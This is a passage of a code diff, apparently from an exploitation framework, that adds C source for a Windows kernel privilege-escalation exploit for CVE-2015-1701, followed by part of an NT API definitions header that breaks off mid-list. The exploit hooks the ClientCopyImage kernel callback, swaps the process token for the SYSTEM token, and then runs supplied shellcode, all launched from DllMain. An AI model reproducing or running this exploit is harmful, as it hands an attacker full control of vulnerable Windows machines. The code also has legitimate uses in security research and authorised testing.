+pUser32_ClientCopyImage g_originalCCI = NULL; +PVOID g_ppCCI = NULL, g_w32theadinfo = NULL; +int g_shellCalled = 0; +DWORD g_OurPID; + +typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation ); + +NTSTATUS NTAPI RtlGetVersion( + _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation + ) +{ + static PRtlGetVersion proxy = NULL; + + if (proxy == NULL) + { + proxy = (PRtlGetVersion)GetProcAddress(GetModuleHandle("ntdll"), "RtlGetVersion"); + } + + return proxy(lpVersionInformation); +} + +typedef NTSTATUS (WINAPI* PNtQuerySystemInformation)( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS WINAPI NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ) +{ + static PNtQuerySystemInformation proxy = NULL; + + if (proxy == NULL) + { + proxy = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); + } + + return proxy(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); +} + +typedef NTSTATUS (NTAPI* PNtQueryInformationProcess)( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ) +{ + static PNtQueryInformationProcess proxy = NULL; + + if (proxy == NULL) + { + proxy = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); + } + + return proxy(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength); +} + +DWORD WINAPI execute_payload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +/* +* supGetSystemInfo +* +* Purpose: +* +* Returns buffer with system information by given InfoClass. +* +* Returned buffer must be freed with HeapFree after usage. +* Function will return error after 100 attempts. +* +*/ +PVOID supGetSystemInfo( + _In_ SYSTEM_INFORMATION_CLASS InfoClass + ) +{ + INT c = 0; + PVOID Buffer = NULL; + ULONG Size = 0x1000; + NTSTATUS status; + ULONG memIO; + + do { + Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size); + if (Buffer != NULL) { + status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO); + } + else { + return NULL; + } + if (status == STATUS_INFO_LENGTH_MISMATCH) { + HeapFree(GetProcessHeap(), 0, Buffer); + Size *= 2; + } + c++; + if (c > 100) { + status = STATUS_SECRET_TOO_LONG; + break; + } + } while (status == STATUS_INFO_LENGTH_MISMATCH); + + if (NT_SUCCESS(status)) { + return Buffer; + } + + if (Buffer) { + HeapFree(GetProcessHeap(), 0, Buffer); + } + return NULL; +} + +/* +* supIsProcess32bit +* +* Purpose: +* +* Return TRUE if given process is under WOW64, FALSE otherwise. +* +*/ +BOOLEAN supIsProcess32bit( + _In_ HANDLE hProcess + ) +{ + NTSTATUS status; + PROCESS_EXTENDED_BASIC_INFORMATION pebi; + + if (hProcess == NULL) { + return FALSE; + } + + //query if this is wow64 process + RtlSecureZeroMemory(&pebi, sizeof(pebi)); + pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION); + status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL); + if (NT_SUCCESS(status)) { + return (pebi.IsWow64Process == 1); + } + return FALSE; +} + +BOOL GetShellCodeFunctions(VOID) +{ + BOOL cond = FALSE; + ULONG rl = 0; + PVOID MappedKernel = NULL; + ULONG_PTR KernelBase = 0L, FuncAddress = 0L; + PRTL_PROCESS_MODULES miSpace = NULL; + CHAR KernelFullPathName[MAX_PATH * 2]; + BOOL bSuccess = FALSE; + + do { + + miSpace = supGetSystemInfo(SystemModuleInformation); + if (miSpace == NULL) { + break; + } + + if (miSpace->NumberOfModules == 0) { + break; + } + + rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH); + if (rl == 0) { + break; + } + + KernelFullPathName[rl] = (CHAR)'\\'; + strcpy(&KernelFullPathName[rl + 1], + (const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]); + KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase; + HeapFree(GetProcessHeap(), 0, miSpace); + miSpace = NULL; + + MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (MappedKernel == NULL) { + break; + } + + FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId"); + g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel); + + FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken"); + g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel); + bSuccess = TRUE; + } while (cond); + + if (MappedKernel != NULL) { + FreeLibrary(MappedKernel); + } + if (miSpace != NULL) { + HeapFree(GetProcessHeap(), 0, miSpace); + } + + return bSuccess; +} + +PSHAREDINFO GetSharedInfo(VOID) { + HMODULE huser32; + PSHAREDINFO pSharedInfo = NULL; + DWORD dwCursor = 0; + + huser32 = GetModuleHandle(TEXT("user32.dll")); + if (huser32 == NULL) + return pSharedInfo; + + pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo")); + +#ifndef _M_X64 + PVOID pUser32InitializeImmEntryTable; + + /* user32!gSharedInfo resoultion for x86 systems < Windows 7 */ + if (pSharedInfo != NULL) + return pSharedInfo; + + pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable")); + + for (dwCursor = 0; dwCursor < 0x80; dwCursor++) { + if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 ) + continue; + if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68) + continue; + return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2)); + } +#endif + + return pSharedInfo; +} + +/* +* GetFirstThreadHWND +* +* Purpose: +* +* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList. +* +*/ +HWND GetFirstThreadHWND(VOID) +{ + PSHAREDINFO pse; + PHANDLEENTRY List; + ULONG_PTR c, k; + + pse = GetSharedInfo(); + if (pse == NULL) { + return 0; + } + + List = pse->aheList; + k = pse->psi->cHandleEntries; + + //if (pse->HeEntrySize != sizeof(HANDLEENTRY)) + //return 0; + + // + // Locate, convert and return hwnd for current thread. + // + for (c = 0; c < k; c++) + if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) { + return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT)); + } + return 0; +} + +// Search the specified data structure for a member with CurrentValue. +BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize) +{ + DWORD_PTR dwIndex, dwMask; + + // Microsoft QWORD aligns object pointers, then uses the lower three + // bits for quick reference counting. +#ifdef _M_X64 + dwMask = ~0xf; +#else + dwMask = ~7; +#endif + // dwMask out the reference count. + dwCurrentValue &= dwMask; + + // Scan the structure for any occurrence of dwCurrentValue. + for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++) + { + if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue) + { + // And finally, replace it with NewValue. + pdwStructure[dwIndex] = dwNewValue; + return TRUE; + } + } + + // Member not found. + return FALSE; +} + +/* +* StealProcessToken +* +* Purpose: +* +* Copy system token to current process object. +* +*/ +NTSTATUS NTAPI StealProcessToken(VOID) +{ + void *pMyProcessInfo = NULL; + void *pSystemInfo = NULL; + PACCESS_TOKEN systemToken; + PACCESS_TOKEN targetToken; + + g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo); + g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo); + + targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo); + systemToken = g_pPsReferencePrimaryToken(pSystemInfo); + + // Find the token in the target process, and replace with the system token. + FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo, + (DWORD_PTR)targetToken, + (DWORD_PTR)systemToken, + 0x200); + return 0; +} + + +/* +* MainWindowProc +* +* Purpose: +* +* To be called in ring0. +* +*/ +LRESULT CALLBACK MainWindowProc( + _In_ HWND hwnd, + _In_ UINT uMsg, + _In_ WPARAM wParam, + _In_ LPARAM lParam + ) +{ + UNREFERENCED_PARAMETER(hwnd); + UNREFERENCED_PARAMETER(uMsg); + UNREFERENCED_PARAMETER(wParam); + UNREFERENCED_PARAMETER(lParam); + + if (g_shellCalled == 0) { + StealProcessToken(); + g_shellCalled = 1; + } + + return 0; +} + +/* +* hookCCI +* +* Purpose: +* +* _ClientCopyImage hook handler. +* +*/ +NTSTATUS NTAPI hookCCI( + PVOID p + ) +{ + InterlockedExchangePointer(g_ppCCI, g_originalCCI); //restore original callback + + SetWindowLongPtr(GetFirstThreadHWND(), GWLP_WNDPROC, (LONG_PTR)&DefWindowProc); + + return g_originalCCI(p); +} + +void win32k_client_copy_image(LPVOID lpPayload) +{ + + PTEB teb = NtCurrentTeb(); + PPEB peb = teb->ProcessEnvironmentBlock; + WNDCLASSEX wincls; + HINSTANCE hinst = GetModuleHandle(NULL); + BOOL rv = TRUE; + MSG msg1; + ATOM class_atom; + HWND MainWindow; + DWORD prot; + OSVERSIONINFOW osver; + + RtlSecureZeroMemory(&osver, sizeof(osver)); + osver.dwOSVersionInfoSize = sizeof(osver); + RtlGetVersion(&osver); + + if (osver.dwBuildNumber > 7601) { + return; + } + + if (supIsProcess32bit(GetCurrentProcess())) { + return; + } + + g_OurPID = GetCurrentProcessId(); + GetShellCodeFunctions(); + + if (g_pPsLookupProcessByProcessId == NULL) { + return; + } + + RtlSecureZeroMemory(&wincls, sizeof(wincls)); + wincls.cbSize = sizeof(WNDCLASSEX); + wincls.lpfnWndProc = &MainWindowProc; + wincls.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wincls.lpszClassName = MAINWINDOWCLASSNAME; + + class_atom = RegisterClassEx(&wincls); + while (class_atom) { + g_w32theadinfo = teb->Win32ThreadInfo; + + g_ppCCI = &((PVOID *)peb->KernelCallbackTable)[0x36]; // <--- User32_ClientCopyImage INDEX + + if (!VirtualProtect(g_ppCCI, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) { + break; + } + g_originalCCI = InterlockedExchangePointer(g_ppCCI, &hookCCI); + + MainWindow = CreateWindowEx(0, MAKEINTATOM(class_atom), + NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); + + if (g_shellCalled == 1) + { + execute_payload(lpPayload); + } + else { + OutputDebugString(TEXT(" Failed \r\n")); + } + + if (!MainWindow) { + break; + } + + do { + rv = GetMessage(&msg1, NULL, 0, 0); + + if (rv == -1) + break; + + TranslateMessage(&msg1); + DispatchMessage(&msg1); + } while (rv != 0); + + break; + } + + if (class_atom) + UnregisterClass(MAKEINTATOM(class_atom), hinst); + + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + win32k_client_copy_image(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.h b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.h new file mode 100755 index 0000000000..7111a6ba52 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.h @@ -0,0 +1,3887 @@ +/************************************************************************************ +* +* (C) COPYRIGHT AUTHORS, 2015, translated from Microsoft sources/debugger +* +* TITLE: NTOS.H +* +* VERSION: 1.17 +* +* DATE: 24 Apr 2015 +* +* Common header file for the ntos API functions and definitions. +* +* ONLY program required types and definitions listed. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +************************************************************************************/ + +//#pragma comment(lib, "ntdll.lib") + +#pragma warning(disable: 4214) // nonstandard extension used : bit field types other than int + +#define IN_REGION(x, Base, Size) (((ULONG_PTR)x >= (ULONG_PTR)Base) && ((ULONG_PTR)x <= (ULONG_PTR)Base + (ULONG_PTR)Size)) + +#define ALIGN_DOWN(count,size) \ + ((ULONG_PTR)(count) & ~((ULONG_PTR)(size) - 1)) + +#define ALIGN_UP(count,size) \ + (ALIGN_DOWN( (ULONG_PTR)(count)+(ULONG_PTR)(size)-1, (ULONG_PTR)(size) )) + +//Access Rights + +#define CALLBACK_MODIFY_STATE 0x0001 +#define CALLBACK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|CALLBACK_MODIFY_STATE ) + +#define DEBUG_READ_EVENT (0x0001) +#define DEBUG_PROCESS_ASSIGN (0x0002) +#define DEBUG_SET_INFORMATION (0x0004) +#define DEBUG_QUERY_INFORMATION (0x0008) +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|DEBUG_READ_EVENT|DEBUG_PROCESS_ASSIGN|\ + DEBUG_SET_INFORMATION|DEBUG_QUERY_INFORMATION) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) + +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE) + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +#define MUTANT_QUERY_STATE 0x0001 +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|MUTANT_QUERY_STATE) + +#define PORT_CONNECT (0x0001) +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +#define PROFILE_CONTROL (0x0001) +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define THREAD_ALERT (0x0004) + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define WMIGUID_QUERY 0x0001 +#define WMIGUID_SET 0x0002 +#define WMIGUID_NOTIFICATION 0x0004 +#define WMIGUID_READ_DESCRIPTION 0x0008 +#define WMIGUID_EXECUTE 0x0010 +#define TRACELOG_CREATE_REALTIME 0x0020 +#define TRACELOG_CREATE_ONDISK 0x0040 +#define TRACELOG_GUID_ENABLE 0x0080 +#define TRACELOG_ACCESS_KERNEL_LOGGER 0x0100 +#define TRACELOG_CREATE_INPROC 0x0200 +#define TRACELOG_ACCESS_REALTIME 0x0400 +#define TRACELOG_REGISTER_GUIDS 0x0800 + +// +// This is the maximum MaximumLength for a UNICODE_STRING. +// + +#define MAXUSHORT 0xffff +#define MAX_USTRING ( sizeof(WCHAR) * (MAXUSHORT/sizeof(WCHAR)) ) + +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; +typedef CONST char *PCSZ; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +/* +** Semaphore START +*/ + +#ifndef _SEMAPHORE_INFORMATION_CLASS +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; +#endif + +#ifndef _SEMAPHORE_BASIC_INFORMATION +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; +#endif + +/* +** Semaphore END +*/ + +/* +** Processes START +*/ + +#ifndef KPRIORITY +typedef LONG KPRIORITY; +#endif + +typedef enum _THREAD_STATE { + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessQuotaLimits = 1, + ProcessIoCounters = 2, + ProcessVmCounters = 3, + ProcessTimes = 4, + ProcessBasePriority = 5, + ProcessRaisePriority = 6, + ProcessDebugPort = 7, + ProcessExceptionPort = 8, + ProcessAccessToken = 9, + ProcessLdtInformation = 10, + ProcessLdtSize = 11, + ProcessDefaultHardErrorMode = 12, + ProcessIoPortHandlers = 13, + ProcessPooledUsageAndLimits = 14, + ProcessWorkingSetWatch = 15, + ProcessUserModeIOPL = 16, + ProcessEnableAlignmentFaultFixup = 17, + ProcessPriorityClass = 18, + ProcessWx86Information = 19, + ProcessHandleCount = 20, + ProcessAffinityMask = 21, + ProcessPriorityBoost = 22, + ProcessDeviceMap = 23, + ProcessSessionInformation = 24, + ProcessForegroundInformation = 25, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessLUIDDeviceMapsEnabled = 28, + ProcessBreakOnTermination = 29, + ProcessDebugObjectHandle = 30, + ProcessDebugFlags = 31, + ProcessHandleTracing = 32, + ProcessIoPriority = 33, + ProcessExecuteFlags = 34, + ProcessTlsInformation = 35, + ProcessCookie = 36, + ProcessImageInformation = 37, + ProcessCycleTime = 38, + ProcessPagePriority = 39, + ProcessInstrumentationCallback = 40, + ProcessThreadStackAllocation = 41, + ProcessWorkingSetWatchEx = 42, + ProcessImageFileNameWin32 = 43, + ProcessImageFileMapping = 44, + ProcessAffinityUpdateMode = 45, + ProcessMemoryAllocationMode = 46, + ProcessGroupInformation = 47, + ProcessTokenVirtualizationEnabled = 48, + ProcessOwnerInformation = 49, + ProcessWindowInformation = 50, + ProcessHandleInformation = 51, + ProcessMitigationPolicy = 52, + ProcessDynamicFunctionTableInformation = 53, + ProcessHandleCheckingMode = 54, + ProcessKeepAliveCount = 55, + ProcessRevokeFileHandles = 56, + ProcessWorkingSetControl = 57, + ProcessHandleTable = 58, + ProcessCheckStackExtentsMode = 59, + ProcessCommandLineInformation = 60, + ProcessProtectionInformation = 61, + MaxProcessInfoClass = 62 +} PROCESSINFOCLASS; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG SpareBits : 25; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +/* +** Processes END +*/ + +#ifndef _SYSTEM_INFORMATION_CLASS +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + 